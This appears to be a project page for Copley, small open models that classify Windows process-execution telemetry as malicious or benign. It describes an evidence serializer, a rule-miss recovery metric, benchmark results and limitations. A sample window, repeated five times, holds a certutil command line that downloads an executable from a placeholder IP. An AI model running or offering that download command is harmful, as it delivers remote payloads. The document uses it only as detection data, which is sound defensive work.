Copley

Copley is a family of small, open cyber decision models. The models distinguish malicious behavior from legitimate activity in security telemetry and abstain when the available evidence is insufficient. They run locally and return a decision and score from a bounded evidence window.

The first release covers Windows process execution. We evaluate generalization across attack implementations by measuring detections missed by a fixed rule set, under explicit false-positive constraints.

Rule-miss recovery

71.4%

Recovery relative to Jev

1.9×

Median latency, CPU

9 ms

Anatomy of a decision

Each prediction uses a bounded evidence window centered on a process execution. A versioned serializer determines which fields enter the model. Labels and provenance remain outside the model input.

copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

Evaluation

The primary metric is rule-miss recovery: the fraction of attack executions missed by the pinned Sigma rule set that the model detects. We evaluate recovery at fixed false-positive budgets.

The protocol specifies budgets of 1, 10, and 100 false positives per million benign windows. Detections are counted per attack execution; false positives are counted per benign window. Thresholds are selected on validation data and frozen before test evaluation.

Results

We compared Copley with specialized decision models, general-purpose language models, a security-specialized language model, and a TF-IDF linear baseline. Each received the same serialized evidence. Thresholds were selected separately for each model and false-positive budget on validation data, then frozen before test evaluation.

Claude Haiku 5.5 has the highest recovery among the general-purpose language models: 35.6%, compared with 71.4% for Copley-380M. Median latency is 1400 ms and 9 ms, respectively.

Model family

Copley-150M and Copley-380M use encoder backbones optimized for local inference. Both accept the same evidence schema and return the same three decisions. Each model has its own operating thresholds for the supported false-positive budgets.

Limitations

• This release covers one task: suspicious Windows process execution. Results do not establish performance on other telemetry types.
• Predictions apply to the supplied evidence window. A likely_benign decision does not establish that the surrounding activity is benign. Alert routing and response actions belong to the integrating system.
• Scores are uncalibrated unless a calibration artifact is attached; use the thresholds frozen for each budget.
• Abstention rates are reported alongside detection results. The evaluation protocol defines their treatment for each metric.

Code and evaluation artifacts

Code is Apache-2.0; bundled Sigma rules keep their DRL 1.1 license. We welcome source-balanced telemetry, reviewed labels and independent evaluations: start with the repository.

Cite

@misc{copley2026,
  title        = {Copley: Small, Open Cyber Decision Models},
  author       = {{Backbay Industries}},
  year         = {2026},
  month        = oct,
  howpublished = {\url{https://github.com/backbay-labs/copley}},
  note         = {Open-weight release}
}